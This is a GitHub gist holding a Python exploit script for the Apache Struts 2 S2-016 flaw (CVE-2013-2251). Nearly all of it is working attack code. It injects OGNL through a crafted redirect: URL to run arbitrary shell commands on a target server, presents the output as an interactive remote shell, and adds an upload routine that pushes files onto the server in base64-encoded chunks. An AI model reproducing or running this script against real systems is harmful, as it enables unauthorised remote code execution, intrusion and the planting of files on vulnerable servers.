Skip to content

Instantly share code, notes, and snippets.

@kost
Last active November 5, 2020 00:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kost/3794e9356204d247948560178f26076d to your computer and use it in GitHub Desktop.
Save kost/3794e9356204d247948560178f26076d to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
#
# coding=utf-8
#
# Struts 2 DefaultActionMapper Exploit [S2-016]
# Interactive Shell for CVE-2013-2251
#'''
# improved shell (python3 and proper url encoding) by kost
# based on shell by:jonatas fil a.k.a dkr
#'''
# https://struts.apache.org/docs/s2-016.html
#
import requests
import sys
import os
import time
import urllib.parse
import readline
import argparse
import base64
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description="Struts Shell Exploit by dkr and kost")
parser.add_argument("-a", "--agent", help="use agent",
action="store",
default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36")
parser.add_argument("-r", "--retry", type=int, help="retry x times",
action="store", default=5)
parser.add_argument("-b", "--block", type=int, help="use block size of bytes for upload",
action="store", default=5000)
parser.add_argument("-s", "--sleep", type=float, help="use block size of bytes for upload",
action="store", default=0.0)
parser.add_argument("-u", "--url", help="use url as target",
action="store", default="")
parser.add_argument("-p", "--proxy", help="use proxy",
action="store")
parser.add_argument("-v", "--verbose", help="increase output verbosity",
action="count", default=0)
args = parser.parse_args()
print('''Struts Shell Exploit by dkr and kost''')
print('')
if args.proxy != '':
proxies = {'http':args.proxy,'https':args.proxy}
if args.verbose>0:
print("[1] Using proxy: "+args.proxy)
# Disable SSL
requests.packages.urllib3.disable_warnings()
# ShellEvil
if args.url == '':
print("You need to specify URL with --url <url>")
sys.exit()
target = args.url
first = target + "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c',\'"
second = "\'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
def sendreq(cmd):
headers = {"User-Agent":args.agent}
cmdr=cmd.replace("\'","\\'")
cmdr=urllib.parse.quote(cmdr)
if args.verbose>1:
print("[2] Cmd: "+cmdr)
complete=first+cmdr+second
if args.verbose>2:
print("[3] Cmd URL: "+complete)
if args.proxy == '':
pwn=requests.get(complete,headers = headers,verify=False) # Disable SSL
else:
pwn=requests.get(complete,headers = headers,verify=False, proxies = proxies) # Disable SSL
return pwn
def encodeit(piece):
ret=base64.b64encode(piece)
return ret
def formatstr(num, maxf):
retstr=hex(num)[2:]
numleft=maxf-len(retstr)
numstr=''
if numleft > 0:
numstr='0'*numleft
retfmt=numstr+retstr
return retfmt
def upload(filename, pathout):
bufsize=args.block
maxtries=args.retry
size=os.stat(filename).st_size
blocks=int(size/bufsize)+1
maxnum=hex(blocks)[2:]
blocksfmt=len(maxnum)
print("[0] Uploading file %s to %s with block of size %d (%d blocks, format %d)" % (filename, pathout, bufsize, blocks, blocksfmt))
in_file = open(filename, "rb")
datacnt=0
while True:
data = in_file.read(bufsize)
if data == "":
break
if len(data) == 0:
break
datafmt=formatstr(datacnt, blocksfmt)
if args.verbose>0:
msgverbose="[1] Uploading block of size %d progress %d of %d (%s)" % (bufsize, datacnt, blocks, datafmt)
print(msgverbose)
b64enc=encodeit(data)
b64=b64enc.decode().replace("\n","")
ccmd='echo "'+b64+'" | base64 -d > '+pathout+"."+datafmt
datacnt=datacnt+1
if args.verbose>1:
print("[2] Cmd: "+ccmd)
tries=0
while True:
pwn=sendreq(ccmd)
if pwn.status_code == 200:
break
if pwn.status_code != 200:
if tries < maxtries:
print("[0] Error uploading file %s: Try %d/%d (%s) - Code %d" % (filename, tries+1, maxtries, datafmt, pwn.status_code))
tries = tries + 1
else:
print("[0] Error uploading file %s" % (filename))
in_file.close()
return
if args.sleep>0:
if args.verbose>0:
print("[1] Sleeping for %f" % (args.sleep))
time.sleep(args.sleep)
joinstr="cat %s.* > %s" % (pathout,pathout)
if args.verbose>0:
print("[1] Finalizing with command %s" % (joinstr))
pwn=sendreq(joinstr)
if pwn.status_code != 200:
print("[0] Error executing file cmd" % (joinstr))
in_file.close()
loopcnt = 1
print("Type \\q to quit, \\upload <src> <dest> to upload file.")
while True:
try:
promptstr = str(loopcnt)+" $ "
cmd = input(promptstr)
while cmd.strip() == '':
cmd = input(promptstr)
loopcnt = loopcnt + 1
if cmd.strip().startswith("\\upload"):
upstr=cmd.split(" ")
if len(upstr)<2:
print("\\upload <src> <dest>")
else:
try:
upload(upstr[1],upstr[2])
except Exception as e:
print(e)
continue
if cmd.strip() == '\q':
print("Exiting...")
sys.exit()
except EOFError as e:
print("End of input. Exiting")
sys.exit()
try:
pwn = sendreq(cmd)
if pwn.status_code == 200:
print(pwn.content.decode()) # 1337
else:
print("Not Vuln ! Type \\q to quit")
except Exception as e:
print(e)
print("Exiting...")
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment